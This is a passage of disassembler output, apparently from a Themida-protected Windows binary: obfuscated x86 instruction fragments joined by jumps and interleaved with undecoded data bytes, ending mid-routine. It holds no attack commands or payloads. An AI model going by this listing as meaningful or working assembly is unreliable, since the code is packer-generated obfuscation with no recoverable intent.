		dd 134F00Ah, 0C80159C8h, 2B2EE9h, 24048900h, 3EE95854h
		dd 57000048h, 470F6ABFh, 0F6EBD78h, 0FD317847h,	7445E9h
		dd 0A1C38000h, 7FA3E9h
		db 0
; ---------------------------------------------------------------------------


loc_552591:				; CODE XREF: Themida_:00558263j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_555665
; ---------------------------------------------------------------------------


loc_55259F:				; CODE XREF: Themida_:00552978j
		and	ebx, eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_54FCD5
; ---------------------------------------------------------------------------
		db 0B9h, 0CBh, 1Fh
		dd 525041EFh, 0F674BB68h, 0F787E92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5525D2:				; CODE XREF: Themida_:00552D0Dj
		mov	esp, [esp]
		mov	edx, [esp]
		add	esp, 4
		and	ecx, eax
		pop	eax
		jmp	loc_558038
; ---------------------------------------------------------------------------
		dw 7268h
		dd 0E9000061h, 19B0h, 0FA51EF81h, 0FB291ECAh, 7FEB815Fh
		dd 8B446F41h, 0F2E92404h, 81000027h, 4C7h, 0AAE95300h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_552613:				; CODE XREF: Themida_:00551FEFj
		push	ebx
		push	ecx
		mov	ecx, 20h
		push	ebp
		mov	ebp, ecx
		mov	ebx, ebp
		pop	ebp
		pop	ecx
		add	ebx, edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0
		jmp	loc_551876
; ---------------------------------------------------------------------------


loc_552636:				; CODE XREF: Themida_:00556433j
		pop	esi
		add	ebx, edi
		push	dword ptr [ebx]
		jmp	loc_558C6D
; ---------------------------------------------------------------------------
		dd 0E9C7015Dh, 288Ch
; ---------------------------------------------------------------------------


loc_552648:				; CODE XREF: Themida_:00559BF6j
		xor	edx, ecx
		pop	ecx
		add	edx, 10C5326Eh
		add	edx, edi
		sub	edx, 10C5326Eh
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55B57E
; ---------------------------------------------------------------------------


loc_552664:				; CODE XREF: Themida_:00557EC9j
		shl	edi, 1
		add	edi, 36825AB9h
		push	ebx
		mov	ebx, 1E495FB8h
		jmp	loc_55A622
; ---------------------------------------------------------------------------


loc_552677:				; CODE XREF: Themida_:0055849Fj
		pop	ebp
		push	edx
		mov	edx, 4
		jmp	loc_55B4B9
; ---------------------------------------------------------------------------
		db 2Dh
		dd 4, 2474FF50h, 48F5804h, 0C895C24h, 1AB2B924h, 0CA317291h
		dd 9693E9h
		db 0
byte_5526A1	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054F6F0o
		dd 8B2434FFh, 0CE92404h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5526AF:				; CODE XREF: Themida_:005505AEj
		pop	dword ptr [esp]
		pop	esp
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_55AE10
; ---------------------------------------------------------------------------


loc_5526C4:				; CODE XREF: Themida_:0055B162j
		push	edi
		not	dword ptr [esp]
		pop	edi
		or	edi, 6D29725Ch
		jmp	loc_55396E
; ---------------------------------------------------------------------------


loc_5526D4:				; CODE XREF: Themida_:0055B258j
		add	eax, ecx
		pop	ecx
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		shr	ecx, 2
		push	edx
		push	ebx
		push	ebx
		push	eax
		mov	eax, 3F991F62h
		jmp	loc_55965A
; ---------------------------------------------------------------------------
aQs4		db 'Qé',8,'4',0
		align 4
		dd 0F480F486h, 0DAEC80A4h, 458E188h, 0E9C8006Ah, 3D6Eh
; ---------------------------------------------------------------------------


loc_55270C:				; CODE XREF: Themida_:0054FD77j
		mov	esi, 322561DAh
		shl	esi, 7
		inc	esi
		shl	esi, 2
		or	esi, 202D494Dh
		push	ebp
		mov	ebp, 0FF4F40Bh
		sub	esi, ebp
		jmp	loc_5536FD
; ---------------------------------------------------------------------------
byte_55272B	db 0FFh			; DATA XREF: Themida_:0054F70Co
		dd 669D1C77h, 241CD259h, 0D079E99Ch, 34FFFFFFh,	54515824h
		dd 4C18159h, 81000000h,	4C1h, 240C8700h, 0E954565Ch, 658Ah
; ---------------------------------------------------------------------------


loc_552758:				; CODE XREF: Themida_:00552AB2j
		pop	ecx
		push	esi
		mov	esi, esp
		push	edi
		push	4
		pop	edi
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_556DA2
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 409665Ch, 2CE99C24h,	81FFFFD0h, 593A1ECDh, 0EDC14D5Ah
		dd 0C5814507h, 0FF4B0D0Fh, 0E95DEA01h, 0E4h, 55F368h, 242C8900h
		dd 0C85EC6BDh, 0CD814579h, 7D2A6044h, 5600E9h
		db 0
; ---------------------------------------------------------------------------


loc_5527B9:				; CODE XREF: Themida_:00550EBEj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		jmp	loc_55761B
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0ECh
		dd 4, 0B9240C89h, 1F424261h, 5575E181h,	0D9F7005Bh, 76F5E9h
		dd 5FB5BD00h, 0F5814656h, 2B4E60CCh, 4D71E9h, 5EF28900h
		dd 34FFD189h, 0B7685A24h, 8900004Ah, 0E589242Ch, 4C581h
		dd 0BA520000h, 7464732Ah, 8904EC83h, 2EBE2434h,	31746473h
		dd 0F5E95EF2h, 89000020h, 0F5E9241Ch
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55282F:				; CODE XREF: Themida_:0055418Fj
		mov	[esp], ebp
		mov	ebp, 7CD148C5h
		sub	ebp, 7CD148C5h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_552CC7
; ---------------------------------------------------------------------------
		db 5Dh,	87h, 0EEh
		dd 0EE31D5F7h, 0EE31F531h, 2414F756h, 386BE9h, 4BB00h
		dd 0DE010000h, 8E67E9h,	66C80000h, 41EB151h, 53C8280Fh
		dd 0B2525AB7h, 2092E979h, 34890000h, 0E9E68924h, 0FFFFF5BAh
		dd 8702C283h, 248B2414h, 0CD36624h, 18E99C24h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552897:				; CODE XREF: Themida_:005536C7j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_55AD66
; ---------------------------------------------------------------------------
aFbIFISic	db 'fʼn*f)ë]éi—',0
		dw 3100h
		dd 34332434h, 24248B24h, 9C240401h, 0FFCEEEE9h,	0E9E289FFh
		dd 86F5h
; ---------------------------------------------------------------------------


loc_5528CC:				; CODE XREF: Themida_:0055A8D3j
		mov	eax, 25D32777h
		mov	ebp, eax
		pop	eax
		push	ecx
		jmp	loc_558B82
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 525DE901h, 1B6AE9h, 7B4BBB00h, 0C38170C8h, 8F3784B7h
		dd 335BDA01h, 6AE92414h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5528FF:				; CODE XREF: Themida_:0054F8A1j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_5571D3
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 2FE90000h, 5EFFFFD8h, 4246C29h, 83242C8Bh, 0EAE904C4h
		dd 68FFFFF5h, 2A25h, 57241489h,	8D460168h, 8B6CE967h, 48F0000h
		dd 70E95524h, 0E9000091h, 0FFFFCE67h, 0F941E957h
		db 2 dup(0FFh)
word_552952	dw 34FFh		; DATA XREF: Themida_:0054F5C8o
		dd 2434FF24h, 4C48358h,	0CE668h, 24048900h, 12CB68h, 48F5400h
		dd 5366E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552972:				; CODE XREF: Themida_:005569BAj
		push	eax
		mov	eax, 6D522385h
		jmp	loc_55259F
; ---------------------------------------------------------------------------
		db 5Bh,	57h, 0BFh
		dd 526F45C1h, 815FF901h, 0AE7285EDh, 81CD297Ah,	0AE7285C5h
		dd 40E9597Ah, 1000021h,	0C3015EF3h, 4179EB81h, 0EB81180Bh
		dd 1A516497h, 6D63BE56h, 0D6F7378Dh, 0DEF7D6F7h, 6D86BF57h
		dd 0C7815FB2h, 75117AEDh, 0E9FE31h, 53000042h, 0FFEBC2E9h
		dd 5DE989FFh, 34FFCA01h, 0C4815924h, 4,	0DFE9C201h, 66000057h
		dd 9C240CFFh, 0FFCDC2E9h, 0E9E189FFh, 4624h
; ---------------------------------------------------------------------------


loc_5529F8:				; CODE XREF: Themida_:00556F5Ej
		pop	edx
		jmp	loc_5563C2
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 39070DAFh, 0E95EF789h, 89A2h, 0BA241489h, 39E360BEh
		dd 2B06C281h, 19E95593h, 0FE00005Eh, 0D816E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552A26:				; CODE XREF: Themida_:005574FEj
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 4
		sub	ebx, 40DB10BBh
		jmp	loc_55905C
; ---------------------------------------------------------------------------
		dw 0D7BEh
		dd 4E650F23h, 2414F756h, 57F6815Eh, 0E94E500Ah,	0FFFFE20Dh
		dd 517799B8h, 58C38954h, 5984BE56h, 0F02908B6h,	8324348Bh
		dd 5BE904C4h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552A77:				; CODE XREF: Themida_:00555240j
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_552351
; ---------------------------------------------------------------------------
byte_552A8B	db 66h			; DATA XREF: Themida_:0054F69Co
		dd 5524048Bh, 4834E954h, 52530000h, 77E9ADB6h
		db 67h,	2 dup(0)
aMqSC		db '¬Q±×é¼C',0          ; DATA XREF: Themida_:0054F74Co
		align 4


loc_552AA8:				; CODE XREF: Themida_:00557D63j
		add	esi, ebp
		jmp	loc_55962B
; ---------------------------------------------------------------------------


loc_552AAF:				; CODE XREF: Themida_:005511BEj
		push	dword ptr [esp]
		jmp	loc_552758
; ---------------------------------------------------------------------------
		db 81h
		dd 4A844CC3h, 205F8953h, 83241C8Bh, 895204C4h, 4C281E2h
		dd 83000000h, 148704EAh, 1C895C24h, 55E38924h, 4BDh, 5DEB0100h
		dd 4EB81h, 1C870000h, 69E95C24h, 0B5000093h, 8E580AFh
		dd 8904EC83h, 32E9241Ch
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552B03:				; CODE XREF: Themida_:00553945j
		not	ebp
		neg	ebp
		xor	ebp, 5F3DA7h
		jmp	loc_559AFF
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 5B108610h, 4CF2E9h, 500BBD00h, 0EDC13C6Dh, 20ED8107h
		dd 0E9D5BE6Fh, 0FFFFFEA1h, 0F704E3C1h, 0FC381DBh, 0E992808Ch
		dd 4DF7h, 50241489h, 0CC69E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552B4A:				; CODE XREF: Themida_:00559F9Fj
		mov	esi, 3EEF03D1h
		xor	esi, ebp
		jmp	loc_557AC4
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 5E2C0424h, 7E93BB7h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552B63:				; CODE XREF: Themida_:00556113j
		mov	ecx, [esp]
		push	ebp
		jmp	loc_55B9AB
; ---------------------------------------------------------------------------
aISqd		db 'ˆÎ韄',0
		dw 4700h
		dd 3BCDE9h, 0E9F70100h,	8906h, 0FFCC2EE9h, 32E95EFFh
		db 58h,	2 dup(0)
byte_552B8B	db 66h			; DATA XREF: Themida_:0054F540o
		dd 0E924048Bh, 3CF6h, 34FFEF01h, 0C4835D24h, 0E6B9E904h
		dd 0EF01FFFFh, 57EBE9h,	0E9C60000h, 1824h, 405h, 42D00h
		dd 4870000h, 4895C24h, 4B824h, 44010000h, 8B580424h, 0C4832414h
		dd 9E5E904h, 4890000h, 252FB824h, 0E10509F4h, 0D091C3Ah
		dd 41EE3508h, 0D0E9D0F7h
		db 0D3h, 2 dup(0FFh)
byte_552BEF	db 64h			; DATA XREF: Themida_:0054F678o
		dd 50028B66h, 4EC81h, 24890000h, 24048124h, 4, 69E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_552C09:				; CODE XREF: Themida_:00551A34j
		not	dword ptr [esp]
		jmp	loc_554F79
; ---------------------------------------------------------------------------
		db 0BFh, 0E2h, 1
		dd 0F7811A01h, 7941E530h, 8904EC83h, 5FBE2434h,	816B5109h
		dd 192964E6h, 61F68134h, 8140FE24h, 0F30684E6h,	4FC68106h
		dd 552CF278h, 0B3664DBDh, 8BEE3119h, 0C483242Ch, 75380504h
		dd 0F02939ADh, 0FFD4CEE9h
		db 0FFh
byte_552C59	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054F560o
		dd 0E2895224h, 57B5BB53h, 71E978F4h, 6600001Fh,	661B1FBFh
		dd 0C7816647h, 8166BCEEh, 663A17C1h, 8166F901h,	5F3A17E9h
		dd 59CE8966h, 0BBEE8166h, 0BD6655D6h, 21E9454Dh
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552C97:				; CODE XREF: Themida_:00551DF3j
		pop	esp
		sub	esp, 4
		jmp	loc_5544F9
; ---------------------------------------------------------------------------


loc_552CA3:				; CODE XREF: Themida_:0055A191j
		mov	bh, 0E6h
		jmp	loc_551EA9
; ---------------------------------------------------------------------------
		dw 487h
		dd 0E95C24h, 66FFFFCBh,	0E9B55158h, 0DDF6CDFEh,	0E0F580h
		dd 97E959E8h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552CC7:				; CODE XREF: Themida_:00552840j
		sub	ebx, 49AB77B4h
		jmp	loc_55B8E2
; ---------------------------------------------------------------------------
		dw 0A68h
		dd 8900007Ch, 4BB241Ch,	0E9000000h, 2817h, 0E930FF5Eh
		dd 0FFFFCAC7h
; ---------------------------------------------------------------------------


loc_552CEC:				; CODE XREF: Themida_:00551676j
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5525D2
; ---------------------------------------------------------------------------
aISJ		db '‰ÖéÎj',0
		dd 3BAFB800h, 0C3013569h, 47AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_552D25:				; CODE XREF: Themida_:00556D82j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5575B3
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 81242489h, 42404h, 815B0000h, 4C3h, 4EC8300h, 0E9240C89h
		dd 3D91h
; ---------------------------------------------------------------------------


loc_552D50:				; CODE XREF: Themida_:00556FA9j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_54FD10
; ---------------------------------------------------------------------------
		db 89h
		dd 0C5895DE8h, 8BE90158h, 0C483242Ch, 240C8704h, 487CE9h
		db 0
byte_552D91	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054F564o
		dd 0FF2434FFh, 48B2434h, 4C48124h, 81000000h, 4C4h, 4C48300h
		dd 57585450h, 0D2589BBFh, 21EF8130h, 81006814h,	6A447EF7h
		dd 0E9F80130h, 0FFFFCF7Fh, 5B66582Ch, 4EC81h, 1C890000h
		dd 414B324h, 2CD82836h,	241C8B36h, 404C483h, 77E9C9h, 0D7F70000h
		dd 718FEF81h, 21E9163Ah, 8700000Fh, 0E95C2414h,	187Ch
		dd 0C3806634h, 48C3809Fh, 0EB80C300h, 0CBB05048h, 6A04D8F6h
		dd 5858C328h, 7AEB80h, 0B35351C3h, 78F1E9CEh, 0F1810000h
		dd 242F78FBh, 0C8BCB29h, 4C48324h, 0BE7E953h, 0DE010000h
		dd 146BA52h, 0D7E95DDDh, 81FFFFDAh, 753BBEF3h, 0CFD3E925h
		dd 0C140FFFFh, 5BE904E0h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552E5B:				; CODE XREF: Themida_:0055AF70j
		pop	ecx
		jmp	loc_555D77
; ---------------------------------------------------------------------------
		db 28h,	0D8h, 2Ch
		dd 661404C9h, 0E9F8B151h, 495Ah, 6624248Bh, 0E924048Bh
		dd 3E8Eh, 4C381h, 74E90000h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552E87:				; CODE XREF: Themida_:005563BDj
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		push	3775h
		mov	[esp], eax
		jmp	loc_555966
; ---------------------------------------------------------------------------
		dd 0F5E95053h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552EA3:				; CODE XREF: Themida_:00553655j
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		sub	ebx, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_555450
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 2
		dd 89000000h, 0C78159CBh, 12AC47A6h, 1CAAE9h
		db 0
; ---------------------------------------------------------------------------


loc_552ED1:				; CODE XREF: Themida_:00551570j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		or	eax, eax
		jz	loc_55B319
		push	dword ptr [edi+1Ch]
		push	ecx
		mov	ecx, 2E8F326Dh
		xor	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	7DB0h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55392E
; ---------------------------------------------------------------------------
		dw 0F75Bh
		dd 6CF681DEh, 2986D191h, 4DE95EF0h, 8300004Dh, 5A042404h
		dd 4EC81h, 1C890000h, 4BB24h, 0EC810000h, 4, 0B9240C89h
		dd 30AA0C43h, 159CA01h,	43B951DAh, 2930AA0Ch, 0F1ADE9CAh
		dd 5368FFFFh, 89000074h, 0E92414h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552F63:				; CODE XREF: Themida_:005530BCj
		mov	[esp], ecx
		push	ebx
		push	5EF10FA4h
		mov	ebx, [esp]
		jmp	loc_553FA9
; ---------------------------------------------------------------------------


loc_552F74:				; CODE XREF: Themida_:00553306j
		add	esp, 4
		pop	ebp
		xor	ebp, edi
		xor	edi, ebp
		xor	ebp, edi
		not	edi
		xchg	edi, ebp
		xor	edx, ebp
		jmp	loc_558508
; ---------------------------------------------------------------------------
		db 0BAh, 5Fh, 7Ah
		dd 814A7CA1h, 0CB5B7DE2h, 21BB533Dh, 290F833Eh,	62E95BDAh
		dd 6800007Ch, 6C8h, 0BA241489h,	67F95C58h, 0B8CA814Ah
		dd 817F0B06h, 0FB5EFBF2h, 39C3817Fh, 1771258h, 39EB81D3h
		dd 5A771258h, 3E6668h, 24048900h, 4B8h,	8BC32900h, 0C4812404h
		dd 4, 2474FF53h, 241C8B04h, 5934E9h, 2CD36600h,	0B8E99C24h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552FFB:				; CODE XREF: Themida_:0055051Cj
		mov	eax, 2DE9197Ch
		and	ebp, eax
		pop	eax
		xor	ebp, 313332FDh
		sub	ebp, 0DB3EBC70h
		push	ebx
		jmp	loc_556DC5
; ---------------------------------------------------------------------------
		db 66h,	59h, 5Bh
		dd 1CD3E9h, 2BB00h, 0D9010000h,	539DE9h, 246C2900h, 48B5D04h
		dd 48BEE924h, 0C6FE0000h, 0EEC0D6F6h, 2CEE8006h, 525AF508h
		dd 0EA8072B2h, 80C2FE5Fh, 8DE9A5EAh, 33000056h,	1C31241Ch
		dd 241C3324h, 240CFE5Ch, 0C74DE99Ch, 295AFFFFh,	92168FBh
		dd 2C890000h, 9BA5224h,	0E96E9D54h, 733Fh, 1C1815Bh, 0E9B989CCh
		dd 7790h, 1AB35366h, 5B66D800h,	8058C328h, 686619EBh, 0AE93188h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55309F:				; CODE XREF: Themida_:0055B365j
		mov	esp, [esp]
		push	5873h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_552F63
; ---------------------------------------------------------------------------
		db 29h,	0F7h, 81h
		dd 5E6A05C7h, 24348B47h, 0C304C483h, 0FFC6DEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5530D5:				; CODE XREF: Themida_:00553708j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, 2F067DDBh
		and	ebx, 3ED36766h
		inc	ebx
		add	ebx, 0B4AD4647h
		xor	edx, ebx
		pop	ebx
		and	eax, edx
		jmp	loc_557C5C
; ---------------------------------------------------------------------------
		db 80h,	0F6h, 0E1h
		dd 69E9DEF6h, 5C00003Dh, 8B42E9h, 0E9F80100h, 3008h, 0E924248Bh
		dd 15EDh, 4C481h, 0E9510000h, 8B9Dh, 0E904C483h, 73B4h
		dd 4EC81h, 1C890000h, 77B46824h, 24890000h, 24048324h
		dd 0AB0E904h, 34870000h, 0E1815924h, 511C0871h,	36E9D9F7h
		dd 3100004Bh, 339FE9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55315E:				; CODE XREF: Themida_:005571BBj
		mov	[esp], ebx
		push	esi
		sub	esp, 4
		jmp	loc_55654F
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0BB241C89h, 146E5666h, 34FFD831h, 241C8B24h,	4604E9h
		db 0
byte_553185	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:0054F67Co
		dd 0FFFFC627h, 0E924248Bh, 0FFFFD9F2h
dword_553194	dd 0FF3C77FFh, 48B2434h, 28E95324h ; DATA XREF:	Themida_:0054F690o
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5531A3:				; CODE XREF: Themida_:00558756j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55B12B
; ---------------------------------------------------------------------------
		dw 0F101h
		dd 12EB685Eh, 1C890000h, 21D2E924h, 0EF810000h,	5DEC7C89h
		dd 0FFF5D7E9h, 68D831FFh, 1BECh, 50243489h, 61A5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5531D9:				; CODE XREF: Themida_:00555B36j
		push	eax
		mov	eax, 29966EDCh
		sub	eax, 34B34217h
		not	eax
		not	eax
		jmp	loc_557D3C
; ---------------------------------------------------------------------------
		db 4Ah,	81h, 0F2h
		dd 6C821D46h, 7CDF281h,	0C2813CEBh, 5BDB380Fh, 87CFE9h
		dd 0B5F28100h, 5290FD74h, 0DDE95A59h, 0BA00002Fh, 1D5B3A14h
		dd 7688E9h, 81516600h, 4ECh, 24048900h,	0FFCDF8E9h, 0C895CFFh
		dd 32A3B924h, 0E9521904h, 0BCDh
; ---------------------------------------------------------------------------


loc_55323C:				; CODE XREF: Themida_:0055BFEDj
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		push	509h
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		jmp	loc_55AB23
; ---------------------------------------------------------------------------
		dw 0EFC0h
		dd 0AAF78006h, 33EDE9h,	4C48300h, 5AD100h, 240C8BC8h, 81E0E9h
		dd 0F2015D00h, 0FFEF57E9h, 0C531E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553282:				; CODE XREF: Themida_:00550DF2j
		sub	edx, ecx
		mov	ecx, [esp]
		jmp	loc_558544
; ---------------------------------------------------------------------------
		dd 0FFC522E9h, 0C78358FFh, 243C8702h, 6624248Bh, 0E924048Bh
		dd 0FFFFCF75h, 1B2AE95Bh, 0CBFE0000h, 71FEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5532B1:				; CODE XREF: Themida_:00555CC1j
		or	esi, 273017Ch
		sub	esi, 3FCB0B35h
		and	esi, 1A956068h
		neg	esi
		xor	esi, 0B3B7F94Bh
		sub	ebx, esi
		pop	esi
		push	ebx
		dec	dword ptr [esp]
		pop	ebx
		add	ebx, 4678FE71h
		jmp	loc_5538D6
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 240C8704h, 6AC7E9h, 5EF20100h, 3304C283h, 14312414h
		dd 24143324h, 0E924248Bh, 0FFFFC4B3h
; ---------------------------------------------------------------------------


loc_553300:				; CODE XREF: Themida_:00557846j
		mov	[esp], ebp
		mov	edx, [esp]
		jmp	loc_552F74
; ---------------------------------------------------------------------------
		db 0F7h
		dd 2D582414h, 0B036F5Eh, 0B951D8F7h, 7A39547Dh,	0E959C831h
		dd 134Dh, 24048F5Fh, 48B665Ch, 26D96824h, 1C890000h, 0F5E95424h
		dd 0C0000058h, 0EF8007E7h, 0ACE951CCh, 29FFFFF7h, 0F62FE9D9h
		dd 0E288FFFFh, 4EC81h, 4890000h, 88D48824h, 24048BE1h
		dd 4C481h, 0E95A0000h, 1E05h, 4B951h, 0CE010000h, 81240C8Bh
		dd 4C4h, 864AE900h, 0E3890000h,	0BCEE9h, 40500h, 0C2E90000h
		dd 89FFFFE5h, 0FD68241Ch, 54000021h, 7D55E9h, 0FA895E00h
		dd 3D88E9h, 348B5400h, 0F9E95524h, 57000006h, 0C781E789h
		dd 4, 3304EF83h, 0F9E9243Ch, 81000005h,	4C4h, 0FC33000h
		dd 8B66C0B6h, 0E9562414h, 3E0Bh, 39E9DE88h, 0F700006Dh
		dd 0E9FB87D7h, 7F5h, 0C781E789h, 4, 86B3E9h, 4C48300h
		dd 5C240487h, 2F1E9h, 518A6800h, 8AE90000h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55340F:				; CODE XREF: Themida_:0055B297j
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_553EB6
; ---------------------------------------------------------------------------
		db 0E9h, 8Dh, 0C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553426:				; CODE XREF: Themida_:0055585Dj
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	3503h
		mov	[esp], edx
		jmp	loc_55A1AF
; ---------------------------------------------------------------------------
aItvqh4ns2s	db '‰âVQh4ná2é\&',0
		align 4


loc_55344C:				; CODE XREF: Themida_:0055A40Dj
		add	[esp+4], ebp
		mov	ebp, [esp]
		jmp	loc_5503C3
; ---------------------------------------------------------------------------
		dd 23956866h, 24048966h, 0FFC34EE9h, 93BB53FFh,	13D122Ah
		dd 0C5815BDDh, 0C6ACF61Ah, 8B5DEB01h, 0C4832414h, 40EE0504h
		dd 0D8012D46h, 4640EE2Dh, 241C8B2Dh, 0E9E08950h, 6E76h
		dd 34FFD030h, 2434FF24h, 5124148Bh, 0C181E189h,	4, 4C181h
		dd 0C330000h, 240C3124h, 5C240C33h, 0E9E08950h,	2877h
		dd 241C8966h, 0CFFEF9B7h, 8007F780h, 1AE92DC5h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5534D3:				; CODE XREF: Themida_:00553600j
		mov	eax, 12EAE7EEh
		add	eax, ebp
		jmp	loc_551F51
; ---------------------------------------------------------------------------
		db 56h
		dd 0FB3A61BEh, 5EF5292Ah, 515DEF01h, 8904EC83h,	0B951241Ch
		dd 2FF2D30h, 7374CBBh, 0E9CB2970h, 4641h, 176A2D58h, 215E76AAh
		dd 0E9581C47h, 3FEFh
; ---------------------------------------------------------------------------


loc_553514:				; CODE XREF: Themida_:00556230j
		pop	eax
		mov	edx, [esp]
		jmp	loc_556827
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8124h, 0E9000000h, 0FFFFD7E5h, 0E9554343h, 89F9h
		dd 0E904EFC1h, 7798h, 0A287C181h, 685568B6h, 1B7Eh, 89241489h
		dd 8BD589CAh, 0C4832414h, 4EC8304h, 81242C89h, 54952434h
		dd 8DE91347h, 5CFFFFE1h, 9CC83B66h, 4B55E9h, 7ECD8100h
		dd 0C17C1C5Eh, 0ED8104EDh, 0B9E98E68h, 452CC381h, 0F9E939ACh
		dd 8100000Fh, 4C4h, 79C4E900h, 0C4830000h, 0E9505704h
		dd 11h,	0C8BEA88h, 869E924h, 0C2310000h, 0FFE4F1E9h, 42F8B8FFh
		dd 0E4E963EFh, 0E900005Eh, 0FFFFC1F3h
; ---------------------------------------------------------------------------


loc_5535C0:				; CODE XREF: Themida_:0055020Ej
		mov	edx, 6AEE7987h
		not	edx
		xor	edx, 0B7E1D0B9h
		xor	ebx, edx
		mov	edx, [esp]
		jmp	loc_559C0C
; ---------------------------------------------------------------------------


loc_5535D7:				; CODE XREF: Themida_:0055B4E1j
		and	eax, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55389C
; ---------------------------------------------------------------------------


loc_5535F0:				; CODE XREF: Themida_:0055ADBFj
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		push	ebp
		mov	ebp, 6A2B5025h
		jmp	loc_5534D3
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 13h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55360B:				; CODE XREF: Themida_:0055134Aj
		pop	ebx
